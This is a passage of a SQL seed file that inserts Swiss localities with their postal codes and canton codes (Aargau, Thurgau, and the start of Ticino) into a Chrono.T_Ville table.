("CHE","Beinwil am See",5712,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birrwil",5708,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burg AG",5736,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dürrenäsch",5724,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gontenschwil",5728,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Holziken",5043,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leimbach AG",5733,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leutwil",5725,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Menziken",5737,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberkulm",5727,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reinach AG",5734,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlossrued",5044,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmiedrued",5046,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walde AG",5046,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schöftland",5040,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Teufenthal AG",5723,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterkulm",5726,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zetzwil",5732,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eiken",5074,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frick",5070,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gansingen",5272,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gipf-Oberfrick",5073,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herznach",5027,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hornussen",5075,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaisten",5082,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ittenthal",5083,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laufenburg",5080,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rheinsulz",5084,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sulz AG",5085,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münchwilen AG",4333,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhof",5062,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oeschgen",5072,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwaderloch",5326,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sisseln AG",4334,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ueken",5028,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wittnau",5064,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wölflinswil",5063,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zeihen",5079,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhofen AG",5273,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mettau",5274,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Etzgen",5275,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wil AG",5276,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hottwil",5277,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ammerswil AG",5600,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boniswil",5706,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brunegg",5505,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dintikon",5606,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egliswil",5704,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fahrwangen",5615,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hallwil",5705,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hendschiken",5604,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Holderbank AG",5113,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hunzenschwil",5502,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lenzburg",5600,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meisterschwanden",5616,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tennwil",5617,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wildegg",5103,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Möriken AG",5103,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederlenz",5702,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Othmarsingen",5504,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rupperswil",5102,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schafisheim",5503,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seengen",5707,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seon",5703,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Staufen",5603,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Abtwil AG",5646,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aristau",5628,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auw",5644,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beinwil (Freiamt)",5637,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Besenbüren",5627,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettwil",5618,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boswil",5623,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bünzen",5624,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waldhäusern AG",5624,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buttwil",5632,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dietwil",6042,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Geltwil",5637,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kallern",5625,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Merenschwand",5634,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Benzenschwil",5636,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlau",5642,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muri AG",5630,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberrüti",5647,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rottenschwil",8919,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sins",5643,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sins",5643,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alikon",5643,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meienberg",5643,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aettenschwil",5645,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fenkrieden",5645,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waltenschwil",5622,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hellikon",4316,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaiseraugst",4303,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Magden",4312,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Möhlin",4313,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mumpf",4322,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obermumpf",4324,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Olsberg",4305,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rheinfelden",4310,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schupfart",4325,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stein AG",4332,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wallbach",4323,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wegenstetten",4317,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zeiningen",4314,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuzgen",4315,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aarburg",4663,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Attelwil",5056,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bottenwil",4814,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brittnau",4805,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchleerau",5054,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kölliken",5742,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moosleerau",5054,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Murgenthal",4853,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Murgenthal",4853,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riken AG",4853,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glashütten",4856,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oftringen",4665,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reitnau",5057,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothrist",4852,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Safenwil",5745,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Staffelbach",5053,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wittwil",5053,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Strengelbach",4802,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uerkheim",4813,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vordemwald",4803,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiliberg",5058,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zofingen",4800,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlethal",4812,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baldingen",5333,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Böbikon",5334,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleindöttingen",5314,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Böttstein",5315,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Döttingen",5312,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Endingen",5304,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterendingen",5305,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fisibach",5467,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Full-Reuenthal",5324,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaiserstuhl AG",5466,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Klingnau",5313,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Koblenz",5322,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leibstadt",5325,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lengnau AG",5426,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leuggern",5316,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hettenschwil",5317,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mellikon",5465,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rekingen AG",5332,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rietheim",5323,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rümikon AG",5464,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schneisingen",5425,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siglistorf",5462,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tegerfelden",5306,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wislikofen",5463,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bad Zurzach",5330,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arbon",9320,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frasnacht",9320,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stachen",9320,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dozwil",8582,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinebrunn",9314,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neukirch (Egnach)",9315,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winden",9315,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egnach",9322,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hefenhofen",8580,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horn",9326,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kesswil",8593,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Freidorf TG",9306,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roggwil TG",9325,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romanshorn",8590,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salmsach",8599,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sommeri",8580,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uttwil",8592,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Amriswil",8580,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hagenwil b. Amriswil",8580,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biessenhofen",8580,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schocherswil",8581,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberaach",8587,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bischofszell",9220,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schweizersholz",9223,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Halden",9223,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erlen",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kümmertshausen",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riedt b. Erlen",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchackern",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engishofen",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ennetaach",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hauptwil",9213,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilen (Gottshaus)",9225,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Pelagiberg",9225,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heldswil",9216,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hohentannen",9216,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kradolf",9214,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönenberg an der Thur",9215,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buhwil",9215,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neukirch an der Thur",9217,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sulgen",8583,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Götighofen",8583,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Donzhausen",8583,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zihlschlacht",8588,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sitterdorf",8589,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basadingen",8254,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlattingen",8255,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diessenhofen",8253,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Willisdorf",8253,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlatt TG",8252,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aadorf",8355,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ettenhausen TG",8356,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guntershausen b. Aadorf",8357,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Häuslenen",8522,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aawangen",8522,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wittenwil",9547,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Felben-Wellhausen",8552,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frauenfeld",8500,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gerlikon",8500,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Islikon",8546,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kefikon TG",8546,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gachnang",8547,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Harenwilen",8553,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mettendorf TG",8553,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hüttlingen",8553,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschikofen",8553,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Matzingen",9548,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederneunforn",8525,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilen b. Neunforn",8525,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberneunforn",8526,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stettfurt",9507,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thundorf",8512,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lustdorf",8512,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wetzikon TG",8512,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uesslingen",8524,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buch b. Frauenfeld",8524,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Warth",8532,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weiningen TG",8532,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altnau",8595,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bottighofen",8598,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ermatingen",8272,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Triboltingen",8273,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gottlieben",8274,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Güttingen",8594,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hugelshofen",8565,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuwilen",8566,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dotnacht",8566,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ellighausen",8566,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lippoldswilen",8566,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siegershausen",8573,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alterswilen",8573,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altishausen",8573,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kreuzlingen",8280,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langrickenbach",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuben",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönenbaumgarten",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herrenhof",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Illighausen",8574,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhofen TG",8574,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lengwil",8574,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lengwil",8574,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dettighofen (Lengwil)",8574,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scherzingen",8596,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münsterlingen",8596,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Landschlacht",8597,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tägerwilen",8274,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hefenhausen",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engwilen",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sonterswil",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wäldi",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lipperswil",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hattenhausen",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gunterswilen",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Affeltrangen",9556,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zezikon",9556,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Märwil",9562,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",9562,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettwiesen",9553,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balterswil",8362,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bichelsee",8363,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Braunau",9502,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschlikon TG",8360,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wallenwil",8360,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dussnang",8374,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwangen TG",8374,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fischingen",8376,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Au TG",8376,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lommis",9506,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weingarten-Kalthäusern",9508,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münchwilen TG",9542,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Margarethen TG",9543,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach b. Wil",9532,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönholzerswilen",8577,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sirnach",8370,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Busswil TG",8371,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",8372,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Littenheid",9573,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tägerschen",9554,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tobel",9555,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wängi",9545,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tuttwil",9546,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilen b. Wil",9535,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wuppenau",9514,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hosenruck",9515,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berlingen",8267,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschenz",8264,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lanzenneunforn",8506,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herdern",8535,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hörhausen",8507,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Homburg",8508,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hüttwilen",8536,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nussbaumen TG",8537,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uerschhausen",8537,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mammern",8265,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Müllheim Dorf",8555,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfyn",8505,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dettighofen",8505,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Raperswilen",8558,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mannenbach-Salenstein",8268,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salenstein",8268,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fruthwilen",8269,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steckborn",8266,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaltenbach",8259,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Etzwilen",8259,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rheinklingen",8259,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wagenhausen",8259,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Amlikon-Bissegg",8514,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berg TG",8572,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berg TG",8572,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andhausen",8572,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Graltshausen",8572,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guntershausen b. Berg",8572,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mauren TG",8576,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mattwil",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Happerswil",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birwinken",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Klarsreuti",8585,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andwil TG",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buch b. Kümmertshausen",8586,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bürglen TG",8575,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Istighofen",8575,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leimbach TG",8584,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Opfershofen TG",8584,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stehrenberg",9503,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lanterswil",9503,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Friltschen",9504,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mettlen",9517,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bussnang",9565,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbussnang",9565,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oppikon",9565,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmidshof",9565,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothenhausen",9565,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Märstetten",8560,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ottoberg",8561,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weinfelden",8570,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Müllheim-Wigoltingen",8554,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bonau",8554,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wigoltingen",8556,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engwang",8556,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Illhart",8556,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lamperswil TG",8556,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wagerswil",8564,"TG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arbedo",6517,"TI"); INSERT INTO 